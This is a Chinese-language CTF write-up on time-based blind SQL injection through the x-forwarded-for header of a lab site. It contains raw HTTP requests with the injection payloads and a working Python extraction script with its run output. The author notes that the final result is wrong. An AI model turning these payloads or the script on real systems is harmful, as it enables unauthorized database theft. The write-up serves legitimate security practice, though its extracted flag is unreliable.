实验吧CTF WHO ARE YOU? Write-Up

[TOC]

##介绍

  1. 这是一道Time-based Blind时间盲注的题目。
  2. SQLMAP自带的脚本无法完成注入。
  3. 注入点要header中的x-forwarded-for

##确定库数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /web/wonderkun/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

x-forwarded-for: 127.0.0.1' and (select case when (select count(*) from information_schema.schemata)=3 then sleep(5) else 1 end) and '1'='1

Accept-Language: en-US,en;q=0.5

Referer: http://www.shiyanbar.com/ctf/1941

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1508208443; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*112186%2CnickName%3Am0nst3r; PHPSESSID=01ip3nh6419ngbse16vt662di7; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1508378062

Connection: close

Cache-Control: max-age=0

当等于3的时候,响应为5秒,故数据库数量为3。

##确定库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /web/wonderkun/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

x-forwarded-for: 127.0.0.1' and (select case when (ascii(substr((select schema_name from information_schema.schemata limit 1 offset 0) from 1 for 1)))>1 then sleep(5) else 1 end) and '1'='1

Accept-Language: en-US,en;q=0.5

Referer: http://www.shiyanbar.com/ctf/1941

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1508208443; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*112186%2CnickName%3Am0nst3r; PHPSESSID=01ip3nh6419ngbse16vt662di7; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1508378062

Connection: close

Cache-Control: max-age=0

##确定表名

##确定列名

##查询flag
看到过网上一篇文章写了一个脚本来跑,但是后来自己在实验过程中发现不对,原因是原作者的判断条件是用字符来判断的,然而:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select user from user where 'a'='A';
+------------------+
| user |
+------------------+
| root |
| root |
| root |
| debian-sys-maint |
| root |
+------------------+
5 rows in set (0.00 sec)

在MySQL看来,aA是相等的,这就导致如果flag区分大小写的话,即使我们跑出来的是正确的字符,也不能成功。

另外,那个脚本是用的逐个字符判断的方法,导致需要发很多数据包才行,不是很方便。

##脚本
自己写了个更方便的脚本,利用的是比较大小,确定范围的方法,由于不是计算机专业,这个算法好像有个高大尚的名词,不过我忘记了,Orz,原理是每次判断先取范畴内中间的数,如果比这个数大,再取这个数和最在数之间的中间数,再判断,就好像折纸一样,每次取一半,这样的比较速度是很快的,发包也是很少。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# coding=utf-8

import requests


ctf_url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ""



def TestRange(i,rangeToTest):
m = len(rangeToTest)/2
checkRes = CheckAsc(i,rangeToTest[m])
return checkRes

def CheckAsc(myPosition,theAscii):
checkRes = 0 #1: bigger; -1: smaller
headers = {"x-forwarded-for":"127.0.0.1' "+"and (select case when (ascii(substr((select flag from flag) from %d for 1)))>%d then sleep(10) else 1 end) and '1'='1" %(myPosition,theAscii)}
try:
print "[?]: Bigger than %d...." % theAscii
response = requests.get(ctf_url,headers=headers,timeout=8)
checkRes = -1
print "[-]: NO"
except requests.exceptions.ReadTimeout,e:
checkRes = 1
print "[+]: YES"
return checkRes

def SetRange(condition, r):
m = len(r)/2
if condition == 1:
toTest = r[m:]
elif condition == -1:
toTest = r[:m+1]
print "[i]: Adjusting the range to [%d-%d]" % (toTest[0],toTest[-1])
return toTest

def CheckEqual(myPosition, theAscii):
isEqual = ''
headers = {"x-forwarded-for":"127.0.0.1' "+"and (select case when (ascii(substr((select flag from flag) from %d for 1)))=%d then sleep(6) else 1 end) and '1'='1" %(myPosition,theAscii)}
try:
response = requests.get(ctf_url,headers=headers,timeout=4)
isEqual = 0
except requests.exceptions.ReadTimeout,e:
isEqual = 1
return isEqual

if __name__=='__main__':
x = 1
for x in range(1,33):
test = [i for i in range(32,127)]
print "[i]: Current Position %d" % x
f = 0
while(f == 0):
biggersmaller = TestRange(x,test)
test = SetRange(biggersmaller,test)
f = CheckEqual(x,test[len(test)/2])
if f ==1:
print "[*] Found ASCII: %d" % test[len(test)/2]
flag += chr(test[len(test)/2])
print flag
break

print "ctf{%s}" % flag

运行过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[i]: Current Position 8
[?]: Bigger than 79....
[-]: NO
[i]: Adjusting the range to [32-79]
[?]: Bigger than 56....
[+]: YES
[i]: Adjusting the range to [56-79]
[?]: Bigger than 68....
[-]: NO
[i]: Adjusting the range to [56-68]
[?]: Bigger than 62....
[-]: NO
[i]: Adjusting the range to [56-62]
[?]: Bigger than 59....
[-]: NO
[i]: Adjusting the range to [56-59]
[?]: Bigger than 58....
[-]: NO
[i]: Adjusting the range to [56-58]
[*] Found ASCII: 57
cdbf14c9
ctf:cdbf14c9
[i]: Current Position 9
[?]: Bigger than 79....
[-]: NO
[i]: Adjusting the range to [32-79]
[?]: Bigger than 56....
[-]: NO
[i]: Adjusting the range to [32-56]
[?]: Bigger than 44....
[+]: YES
[i]: Adjusting the range to [44-56]
[?]: Bigger than 50....
[+]: YES
[i]: Adjusting the range to [50-56]
[*] Found ASCII: 53
cdbf14c95
ctf:cdbf14c95

基本上,6-8个包可以确定一位。

##参考

  1. Assassin的WriteUp
  2. 对于如何确定库名和表名,请自行参考这里:MySQL中的Information_schema介绍

##写在最后
虽然我的脚本跑出来了,但是结果是错的。Orz…
求大神指点!